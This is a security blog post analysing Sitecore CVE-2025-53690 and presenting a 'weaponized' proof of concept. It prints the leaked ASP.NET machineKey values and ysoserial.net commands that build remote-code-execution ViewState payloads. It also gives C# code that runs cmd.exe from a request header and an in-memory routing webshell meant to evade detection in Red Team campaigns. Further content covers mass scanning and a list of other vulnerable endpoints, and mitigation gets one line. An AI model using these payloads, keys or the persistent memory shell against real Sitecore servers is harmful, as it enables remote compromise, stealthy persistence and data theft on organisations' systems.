Featured image of post Sitecore CVE-2025-53690 Detailed Analysis & Weaponized POC - Why you shouldn’t blindly trust the documentation

Sitecore CVE-2025-53690 Detailed Analysis & Weaponized POC - Why you shouldn’t blindly trust the documentation

CVE-2025-53690 Analysis & Weaponized POC

Brief Introduction to Sitecore

Sitecore is a Digital Experience Platform and a commerce-ready content management system designed for enterprise use. The solution combines content management, e-commerce, and marketing automation, allowing organizations to deliver personalized experiences across websites, mobile apps, and other channels. Typical Sitecore customers are medium to large businesses in industries such as retail, finance, healthcare, travel, education, and the public sector — organizations that require multiple sites, high availability, and deep integrations with internal systems. Because Sitecore often serves at the center of customer journeys and transactional processes, security vulnerabilities can have serious impacts on business operations and data privacy.


A little Backstory :D

One fine day while scrolling Twitter for news and technical updates I ran into an alert about a critical Sitecore CVE with a CVSS score of 9.0. Naturally curious, I dove into analyzing this critical case :D

This tweet references a Google/Mandiant blog that analyzed a recent campaign exploiting Sitecore instances using a sample machine key present in Sitecore’s official deployment guides dating back to 2017 and earlier.

That analysis points to the root cause: leaked ASP.NET machine keys which allow an attacker to control the ViewState deserialization mechanism in ASP.NET applications and achieve RCE. First, we need to understand how this mechanism works.


Some concepts about VIEWSTATE

VIEWSTATE is an ASP.NET mechanism used to persist the state of server controls across postbacks in a web application. Because HTTP is stateless, VIEWSTATE stores control state (e.g., TextBox values, CheckBox states, etc.) by serializing it to a binary blob, encoding it in Base64, and embedding it into the hidden __VIEWSTATE field in the HTML. This mechanism relies on the Machine Key for data protection and validation to ensure VIEWSTATE integrity and confidentiality.

Why VIEWSTATE exists

  • State persistence: VIEWSTATE preserves the state of UI controls across postbacks.
  • Support for event-driven programming model: ASP.NET’s event model expects controls to remember their previous state to handle events (e.g., button clicks).
  • Server-side load reduction: By storing state on the client rather than server-side session storage, VIEWSTATE reduces server memory usage (suitable for apps that don’t require complex server-side state).

The role of Machine Key in VIEWSTATE

Machine Key is a pair of secret keys (validationKey and decryptionKey) configured in web.config or the server to protect VIEWSTATE:

  • Validation (MAC): Ensure VIEWSTATE hasn’t been tampered with by generating a Message Authentication Code (MAC).
  • Encryption: Optionally protect VIEWSTATE content from being read in plaintext.

Serialization and deserialization process for VIEWSTATE

  1. Serialization:
    • The server collects control state (TextBox values, DropDownList selection, etc.).
    • The data is serialized into binary, optionally encrypted with the decryptionKey, and a MAC is created using the validationKey.
    • The resulting Base64 string is embedded into the hidden __VIEWSTATE input.
  2. Deserialization:
    • The client posts back the page including __VIEWSTATE.
    • The server verifies the MAC using the validationKey.
    • If valid, the server decrypts (if encrypted) using the decryptionKey and deserializes to restore control state.
    • This state is then used to handle events and render updates.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
[Client (Browser)]                       [Server (ASP.NET)]
       |                                       |
       | 1. Send HTTP request (GET/POST)       |
       |-------------------------------------->|
       |                                       | 2. Server handles request, builds page
       |                                       |    - Collect control states
       |                                       |    - Serialize states to blob
       |                                       |    - Encrypt blob with Machine Key (decryption key)
       |                                       |    - Create MAC using Machine Key (validation key)
       |                                       |    - Embed blob into __VIEWSTATE
       |<--------------------------------------| 3. Return HTML page with __VIEWSTATE
       |                                       |
       | 4. User interacts (postback)          |
       |    - Sends __VIEWSTATE back with form |
       |-------------------------------------->|
       |                                       | 5. Server receives request
       |                                       |    - Verify MAC with validation key
       |                                       |    - Decrypt __VIEWSTATE with decryption key
       |                                       |    - Deserialize to restore control state
       |                                       |    - Handle events & update page
       |<--------------------------------------| 6. Send updated HTML with new __VIEWSTATE

From this mechanism we can infer that once an attacker obtains the machine key, they can craft a VIEWSTATE that forces the server to deserialize arbitrary objects. The attacker can then exploit deserialization gadget chains to run arbitrary code on the server.


How can an attacker obtain the machine key? Common cases:


Analyzing the CVE

For CVE-2025-53690, the attacker did not use the above typical methods; instead, they leveraged a Machine Key that was shared in old Sitecore deployment guides.

In Mandiant’s analysis they didn’t point out the machineKey being used in the campaign, but the blog does link to Sitecore’s Security Bulletin here: https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003865

In the Solution section, Sitecore provides some guidance to help customers mitigate the issue, but inadvertently gives us a hint: the machine key starts with BDDFE367CD… and the validation key starts with 0DAC68D020….

From there we can start searching using Google dorking.

First, try searching BDDFE367CD site:sitecore.com to limit results to the sitecore domain.

That search returned only the security bulletin we already referenced.

Similarly, 0DAC68D020 site:sitecore.com returned no additional results.

Using our knowledge that the MachineKey is usually configured in web.config, which looks like:

We changed the dork to:

1
"<machineKey" site:sitecore.com

This produced more hits and after scrolling we found the document referenced in the security bulletin.

We can see the machineKey and validation key here match the hints from the security bulletin (machine key starting with BDDFE367CD… and validation key starting with 0DAC68D020…).

If this is only a sample key, why did it become a serious CVE scoring CVSS 9.0?

Reading the guidance carefully, the language here is problematic:

The document says:

😅 You can either paste this key into your web.config file or generate another unique key at:

The first clause explicitly suggests that developers could take this sample key and paste it directly into their web.config without generating a new unique key. It’s easy to guess that quite a few developers followed that suggestion, which led to the vulnerability.

Evidence shows that searching this machineKey on Google finds many sources referring to its use. Worse, it appears the key has been included in public wordlists on GitHub for years.


Setting up a Sitecore instance

After obtaining the machineKey, we set up a lab to reproduce the POC.

First, create a Sitecore Docker environment. Refer to: https://www.youtube.com/watch?v=a-hjq7WcZiY

After installing Docker Desktop, right-click the Docker icon in the tray and choose “Switch to Windows containers…”

Clone the repo:

1
git clone https://github.com/Sitecore/container-deployment.git

Navigate to:

1
container-deployment\compose\sxp\10.4\ltsc2022\xp0

Open PowerShell as Administrator and run compose-init.ps1 to initialize the Sitecore environment. Provide the path to your license.xml.

Then run:

1
docker compose up -d

This step will take a long time to pull and build the Sitecore images — go grab a coffee or matcha (which i prefer) while it runs ☕

Note: To avoid port conflicts with containers, change BurpSuite’s proxy port to e.g., 8081 (not 8080). Also check whether port 443 is free. If not, stop any process occupying it (IIS (W3SVC), IIS Express, VMware/Workstation, Skype/Teams, antivirus, etc.)

After the stack is ready, open .env to find the Sitecore instance URL.

Visit https://xp0cm.localhost/ — Sitecore is now deployed :D


Reproducing the POC

Time to reproduce the POC :D

Mandiant’s blog shows the endpoint the attacker used: /sitecore/blocked.aspx

This endpoint was chosen because it contains a hidden form VIEWSTATE and is accessible without authentication.

If we request this endpoint on our instance we see an <input> tag containing a VIEWSTATE field and the page doesn’t require authentication.

Posting any value to __VIEWSTATE at that endpoint returns a 500 error.

To emulate the vulnerable environment used in the CVE, edit the web.config inside the container sitecore-xp0-cm-1 and add the leaked machineKey.

First run docker ps to get the container id.

Copy web.config out of the container:

1
docker exec 0b12db41956d powershell -NoProfile -Command "Get-Content -Raw 'C:\inetpub\wwwroot\web.config'" > web.config

Open and add:

1
2
3
<system.web>
  <machineKey validationKey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6" decryptionKey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" validation="SHA1" />
</system.web>

Write the edited web.config back into the container:

1
2
type web.config | docker exec -i 0b12db41956d powershell -NoProfile -Command ^
  "$in=[Console]::In.ReadToEnd(); Set-Content -Path 'C:\inetpub\wwwroot\web.config' -Value $in -Encoding UTF8"

Verify it’s written successfully.

Next, consult Soroush Dalili’s blog about exploiting ViewState deserialization: https://soroush.me/blog/exploiting-deserialisation-in-asp-net-via-viewstate

We get a sample ysoserial.net command:

1
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

Replace decryptionkey, validationalg, and validationkey with the leaked machineKey values and set the path to /sitecore/blocked.aspx. The apppath and decryptionalg flags are optional, so the command becomes:

1
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path=/sitecore/blocked.aspx --decryptionkey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" --validationalg="SHA1" --validationkey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6"

Running that generates a Base64 VIEWSTATE containing our payload.

Send that payload in __VIEWSTATE to /sitecore/blocked.aspx.

Check the temp folder to see if test.txt is written:

No test file — payload didn’t work :DDD

To find the problem, we need to read the debug logs and stack trace. By default, Sitecore does not enable debug, so edit web.config to change:

1
<customErrors mode="RemoteOnly"/> -> <customErrors mode="Off"/>

and

1
2
3
<compilation defaultLanguage="c#" targetFramework="4.8">
-> 
<compilation defaultLanguage="c#" debug="true" targetFramework="4.8">

Re-send the request and observe the stack trace:

We successfully triggered deserialization — the stack trace reaches System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize — but fails later at System.Runtime.Serialization.Formatters.Binary.BinaryAssemblyInfo.GetAssembly with:

[c: Unable to find assembly 'Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'.]

This error is because the gadget chain used the TextFormattingRunProperties class from the Microsoft.PowerShell.Editor assembly, which isn’t present on the web server’s bin directory. So the assembly can’t be loaded.

Inspect the ysoserial.net generator for TextFormattingRunProperties:

https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs

We confirm the payload uses TextFormattingRunProperties from that assembly.

We need a gadget chain that doesn’t depend on that assembly. After reviewing generators and related blogs, we find the TypeConfuseDelegate gadget, discussed here:

https://testbnull.medium.com/deep-inside-typeconfusedelegate-gadgetchain-456915ed646a

TypeConfuseDelegate’s call stack starts from SortedSet, a core class available in mscorlib.dll (the Microsoft Common Object Runtime Library), which is almost always present — making it portable and more likely to work on target servers. This chain should allow RCE.

Generate a payload:

1
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path=/sitecore/blocked.aspx --decryptionkey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" --validationalg="SHA1" --validationkey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6"

Send the payload; the response no longer contains SerializationException — deserialization succeeded. Check for our file:

We achieved RCE :D


Weaponize the POC

However, there is a weakness when using this chain in practice. There will be cases where the target does not allow outbound connections, leaving us with no way to read the command’s output (e.g., DNS, reverse shell, etc.). The method of writing a webshell is also not feasible if the webroot is unknown ⇒ There is no way to confirm if our payload was successful. So, how can we write an exploitation/detection script to scan at scale?

Echo technique

The solution here is the Echo technique. This technique works by accessing the request and response objects ⇒ then writing the command’s output into the response so it can be observed.

There are several ways to achieve this, but the most optimal and simplest way in C# applications is to use a gadget chain that allows loading an arbitrary assembly. Therefore, we can embed our own custom-created assembly ⇒ executing arbitrary code. From there, we can call System.Web.HttpContext.Current.Response to write the command output to the response.

Among the gadget chains in ysoserial.net, the ActivitySurrogateSelectorFromFile gadget chain can be used for this purpose. This is a variant of the ActivitySurrogateSelector chain.

A brief note on what makes this chain different: For traditional chains, we need to use Serializable objects in the chain. However, with this chain, we can deserialize almost anything :D. This opens the door for us to write output to the response via an object we create ourselves.

You can learn more about this chain from the chain’s author’s blog here: https://googleprojectzero.blogspot.com/2017/04/

However, the limitation of this chain is that it only works with .Net Framework versions < 4.8. This is because version 4.8+ implemented a checking mechanism for the ActivitySurrogateSelector Type ⇒ preventing it from being triggered directly from the start.

Still, this mechanism can be bypassed by using the ActivitySurrogateDisableTypeCheck chain. Specifics about this chain can be read on the author’s blog here: https://www.netspi.com/blog/technical-blog/adversary-simulation/re-animating-activitysurrogateselector/

If we use this chain, we will have to send 2 requests (1 request to disable the type check, and 1 request to exploit the ActivitySurrogateSelectorFromFile chain) ⇒ This is still not the most optimal chain in this case :D

Let’s look at other chains that also have the FromFile suffix in ysoserial.net. We have two chains: DataSetOldBehaviourFromFile and XamlAssemblyLoadFromFile.

Trying to generate a payload with the DataSetOldBehaviourFromFile chain, we see an error message:

The error is because the generated payload is too large, leading to an error during the string escaping process for the payload ⇒ this is definitely not optimal for the VIEWSTATE deserialize case :D

Let’s try the XamlAssemblyLoadFromFile chain. This chain originated from the author’s analysis of the ActivitySurrogateDisableTypeCheck chain. The author observed that this disable-chain leverages the TextFormattingRunProperties chain’s mechanism of running arbitrary code using XAML, and from there, uses Reflection to disable the type check mechanism. ⇒ If it can run code, it can certainly also load an arbitrary assembly using code ⇒ This led to the creation of this chain.

Details can be found at: https://russtone.io/2023/05/30/programming-with-xaml/ This is also a very good article and should be read to clearly understand the formation process of this chain :D

Okay, no more talking, now run this command to generate the payload:

1
ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "ExploitClass.cs;System.Web.dll;System.dll" --path=/sitecore/blocked.aspx --decryptionkey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" --validationalg="SHA1" --validationkey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6"

But first, we need to clearly understand how ysoserial works for chains with the FromFile suffix. For these chains, in the -c flag, instead of passing the command you want to execute, you will first pass the path to the exploit payload file, followed by the paths to the DLL files used in the payload.

This class is already available in the ExploitClass.cs file in the ysoserial.net directory with sample code. We just need to customize it to run the command and print the output. The default payload will be:

1
    System.Windows.Forms.MessageBox.Show("Pwned", "Pwned", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error);

This payload, when triggered, will pop up a MessageBox window with the content “Pwned”. However, since we are exploiting via an HTTP request and cannot see the MessageBox, we will comment out this line.

In this case, for easier detection, we will first write an arbitrary value to the response header to identify it and end the response immediately to prevent the entire .NET pipeline afterward from overwriting the header during error generation. Uncomment the following two lines:

1
2
System.Web.HttpContext.Current.Response.AddHeader("X-YSOSERIAL-NET","HERE");
System.Web.HttpContext.Current.Response.End();

Since this payload uses System.Web.HttpContext.Current.Response, we need to add the path to the System.Web.dll assembly in the -c parameter. These DLL files can be found in the .NET Framework directory on drive C (e.g., C:\Windows\Microsoft.NET\Framework64\v4.0.30319). For convenience and to shorten the command, we should copy these DLL files directly into the ysoserial.net directory. Then run the following command:

1
ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "ExploitClass.cs;System.Web.dll" --path=/sitecore/blocked.aspx --decryptionkey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" --validationalg="SHA1" --validationkey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6"

After sending the generated payload, we get the following response:

As we can see, the response no longer returns 500, and the header value we set has been returned in the response.

So, with just one request, we can make the server execute arbitrary code. Now we just need to recode the payload to get the cmd value from the request (which can be in a parameter, header, etc.) and return the output in the response.

We will code it as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
string cmd = System.Web.HttpContext.Current.Request.Headers["cmd"];
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.CreateNoWindow = true
process.Start();
string output = process.StandardOutput.ReadToEnd();
System.Web.HttpContext.Current.Response.Write(output);
System.Web.HttpContext.Current.Response.End();

We will retrieve the cmd value from the request header, then run the command and return the output in the response body. Here, we additionally use System.Diagnostics.Process, a class from the System.dll assembly, so we need to copy this assembly into the ysoserial.net directory and add it to the -c flag of the command.

1
ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "ExploitClass.cs;System.Web.dll;System.dll" --path=/sitecore/blocked.aspx --decryptionkey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" --validationalg="SHA1" --validationkey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6"

After sending the payload with the cmd header value set to dir, we get the response:

Thus, we have successfully achieved the goal of echoing the command output in the response.


The story doesn’t end there :D The exploit above still has a significant limitation: Every time you want to exploit (run a command), you have to send a request to the aforementioned endpoint with a very large VIEWSTATE, which makes it easier to be detected ⇒ Not suitable for Red Team campaigns.

So, is there a way to mitigate this? The answer is MemShell :D

In previous blogs from sec.vnpt.vn, we’ve learned about various types of MemShells in Java, .NET MVC, etc. But what about WebForms? Is there a similar mechanism? :D Let’s dive deeper!

MemShell

First, what is MemShell?

MemShell (short for Memory Shell) is a technique used to maintain persistent access to the target system without writing any files. Instead of deploying a traditional webshell (like an .aspx or .jsp file), MemShell operates entirely in the web application’s memory, leveraging framework or runtime components to execute malicious code without leaving any physical traces on the system. This makes MemShell a powerful tool that is extremely hard to detect by traditional security tools like antivirus or file-monitoring systems.

At its core, the MemShell technique injects code into components of the request pipeline (such as Filters, middleware, routing, etc.). Then, when the request pipeline reaches the attacker’s injected logic ⇒ arbitrary code is executed on the server.

You can refer to previous articles on MemShell in Tomcat and .NET MVC here: 🔗 https://sec.vnpt.vn/2022/12/ky-thuat-memory-webshell-trong-cac-dot-khai-thac-redteam 🔗 https://sec.vnpt.vn/2024/10/asp-net-mvc-memmory-webshell-filter

Although both belong to the ASP.NET family, ASP.NET WebForms does not have a Filter mechanism in the request pipeline. Therefore, we need to find another similar mechanism.

After some digging, I discovered a mechanism in the WebForms request pipeline that can be exploited: Routing.

Routing in Web Forms (introduced in .NET 4.0) was created to generate friendly URLs (URLs without the .aspx extension), improving SEO while preserving the traditional Page model. For example, instead of /upload.aspx ⇒ we can configure routing so that /upload maps directly to that .aspx file. The URL no longer has .aspx ⇒ more user-friendly.


Overview of the Request Pipeline in ASP.NET

When an HTTP request is sent to an ASP.NET application:

  1. IIS receives the HTTP request.
  2. IIS forwards the request to the ASP.NET ISAPI extension (in Classic mode) or the ASP.NET Integrated pipeline module (in Integrated mode).
  3. The request enters the ASP.NET Request Pipeline, which includes:
    • Events of the HttpApplication (such as BeginRequest, AuthenticateRequest, AuthorizeRequest, ResolveRequestCache, …).
    • HttpModules (modules that can “hook into” the above events).
    • HttpHandlers (responsible for actual processing and returning the response to the client).

Where Does Routing Appear in the Pipeline?

The Routing module (UrlRoutingModule) is attached to the pipeline at the PostResolveRequestCache stage.
At this point, it checks the incoming URL to see if it matches any route defined in RouteTable.Routes.

If a matching route is found:

  • UrlRoutingModule creates a RouteData object.
  • It assigns a specific IRouteHandler to handle the request.
  • The request is then passed to the corresponding HttpHandler (e.g., PageRouteHandler in Web Forms).

Execution Flow of Routing:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
IIS  ASP.NET Pipeline
     
 UrlRoutingModule (PostResolveRequestCache)
     
 Find matching RouteData
     
 Call corresponding IRouteHandler
     
 PageRouteHandler returns PageHandler (.aspx)
     
 Execute Page Lifecycle
     
 Send response back to client

Typically, these routes can be configured in the Global.asax file. Example:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void Application_Start(object sender, EventArgs e)
{
    RegisterRoutes(RouteTable.Routes);
}
void RegisterRoutes(RouteCollection routes)
{
    routes.MapPageRoute(
        routeName: "ProductRoute",
        routeUrl: "products/{category}/{id}",
        physicalFile: "~/ProductDetails.aspx"
    );
}

However, in addition to the above method, we can also dynamically configure routes using the following code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
using System.Web.Routing;
void AddDynamicRoute()
{
    RouteCollection routes = RouteTable.Routes;
    routes.MapPageRoute(
        routeName: "DynamicRoute",
        routeUrl: "promo/{code}",
        physicalFile: "~/PromoPage.aspx"
    );
}

Moreover, we can create a Custom Route with logic defined by ourselves by overriding the two methods GetRouteData and GetVirtualPath, for example:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public class MyRoute : RouteBase
{
    public override RouteData GetRouteData(HttpContextBase httpContext)
    {
        var url = httpContext.Request.AppRelativeCurrentExecutionFilePath.TrimStart('~', '/');
        if (url.Equals("promo", StringComparison.OrdinalIgnoreCase))
        {
            var routeData = new RouteData(this, new PageRouteHandler("~/PromoPage.aspx"));
            return routeData;
        }
        return null;
    }
    public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
    {
        return null; // optional
    }
}

Then register this route using:

1
RouteTable.Routes.Insert(0, new MyRoute());

Here, instead of using Routes.Add, we use Routes.Insert because:

When using Routes.Insert, we can control the position where this route is inserted into the RouteTable. When using **Insert(0, …)**, this route will be placed at the top of the RouteTable ⇒ our custom route logic will be processed first when the pipeline loops through the RouteTable to find a matching route.

From there, we can leverage this mechanism to inject malicious payloads (execute commands, read files, etc.) directly into the GetRouteData method of the route we define.

The Payload file is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// ExploitClass was renamed to E to reduce the size a little bit
using System.Web;
using System.Web.Routing;
class E
{
    public E()
    {
        RouteCollection routes = RouteTable.Routes;
        routes.Insert(0, (RouteBase)new MyRoute());
        System.Web.HttpContext.Current.Response.End();
    }
    public class MyRoute : RouteBase
    {
        public override RouteData GetRouteData(HttpContextBase httpContext)
        {
            string Payload = httpContext.Request.Headers["cmd"];
            if (Payload != null)
            {
                System.Diagnostics.Process process = new System.Diagnostics.Process();
                process.StartInfo.FileName = "cmd.exe";
                process.StartInfo.Arguments = "/c " + Payload;
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError = true;
                process.StartInfo.CreateNoWindow = true;
                process.Start();
                string output = process.StandardOutput.ReadToEnd();
                System.Web.HttpContext.Current.Response.Write(output);
                System.Web.HttpContext.Current.Response.End();
            }
            return null;
        }
        public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
        {
            return null;
        }
    }
}

Explanation of the payload above:

Here, we create a MyRoute class that contains the command execution payload inside the GetRouteData method. This method checks if the request header contains a cmd header. If it does, it will execute the cmd command based on the value of that header. If the header is not present, it skips and returns null ⇒ does not affect the logic of other routes, and the application continues to function normally ⇒ much harder to detect.

In reality, both GetRouteData and GetVirtualPath methods can be used to execute arbitrary code. However, in the request pipeline, GetRouteData is executed before GetVirtualPath, so we will use GetRouteData here.

Then, in the E class, we initialize a RouteCollection object and insert MyRoute into the RouteTable at the very first position.

Save the above file as MemShellClass.cs in the ysoserial.net directory. Then run the following command to generate the payload:

1
ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "MemShellClass.cs;System.Web.dll;System.dll" --path=/sitecore/blocked.aspx --decryptionkey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" --validationalg="SHA1" --validationkey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6"

After sending the payload, we receive a 200 response:

Now, we can send a request to any route and set the cmd header to the payload we want to execute in order to run arbitrary commands:


Honorable Mention

From the basic payload that only modifies the Response Header, we can create a Nuclei template to scan in bulk by sending the generated VIEWSTATE and checking if the response contains the string we define.

The template is available here: https://github.com/ErikLearningSec/CVE-2025-53690-POC In this template, we’ll write it a bit differently. Instead of exploiting via the endpoint /blocked.aspx, we’ll exploit via the endpoint /sitecore/default.aspx because this is an endpoint that always exists on Sitecore instances ⇒ increasing the scan hit rate and reducing the chance of detection.


Honorable Mention #2

Although the entire analysis focuses on attacking the /sitecore/blocked.aspx endpoint as mentioned in Mandiant’s blog, we can also exploit other endpoints, as long as they are unauthenticated and contain VIEWSTATE in the response.

After listing .aspx files in the webroot and fuzzing with Intruder, we obtained the following list:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/Default.aspx
/layouts/Sample layout.aspx
/layouts/system/VIChecker.aspx
/layouts/system/VisitorIdentificationCss.aspx
/sitecore/default.aspx
/sitecore/debug/default.aspx
/sitecore/login/default.aspx
/sitecore/service/error.aspx
/sitecore/service/Heartbeat.aspx
/sitecore/service/keepalive.aspx
/sitecore/service/noaccess.aspx
/sitecore/service/nolayout.aspx
/sitecore/service/nolicense.aspx
/sitecore/service/noPublishable.aspx
/sitecore/service/notfound.aspx
/sitecore/service/xdb/disabled.aspx
/sitecore modules/Web/EXM/ConfirmSubscription.aspx
/sitecore modules/Web/EXM/ListUnsubscribe.aspx
/sitecore modules/Web/EXM/RedirectUrlPage.aspx
/sitecore modules/Web/EXM/Unsubscribe.aspx
/sitecore modules/Web/EXM/UnsubscribeFromAll.aspx
/sitecore modules/Web/EXM/layouts/Single Column Layout.aspx
/sitecore modules/Web/EXM/layouts/Text Message Layout.aspx
/sitecore modules/Web/EXM/layouts/Two Column Layout.aspx
/sitecore modules/Web/EXM/layouts/Templates/Alternating Columns.aspx
/sitecore modules/Web/EXM/layouts/Templates/Call To Action Focus.aspx
/sitecore modules/Web/EXM/layouts/Templates/Image Focus.aspx
/sitecore modules/Web/EXM/layouts/Templates/Main Layout.aspx
/sitecore modules/Web/EXM/layouts/Templates/Thee Column Long.aspx
/sitecore modules/Web/EXM/layouts/Templates/Two Column.aspx
/sitecore modules/Web/ExperienceExplorer/Controls/ExpEditor.aspx
/sitecore modules/Web/ExperienceExplorer/Controls/ExpViewer.aspx

Successful exploitation on the keepalive endpoint:

Mitigation

Please follow the mitigation steps on Sitecore bullettin here: https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003865

Last updated on Oct 30, 2025 00:00 UTC
comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy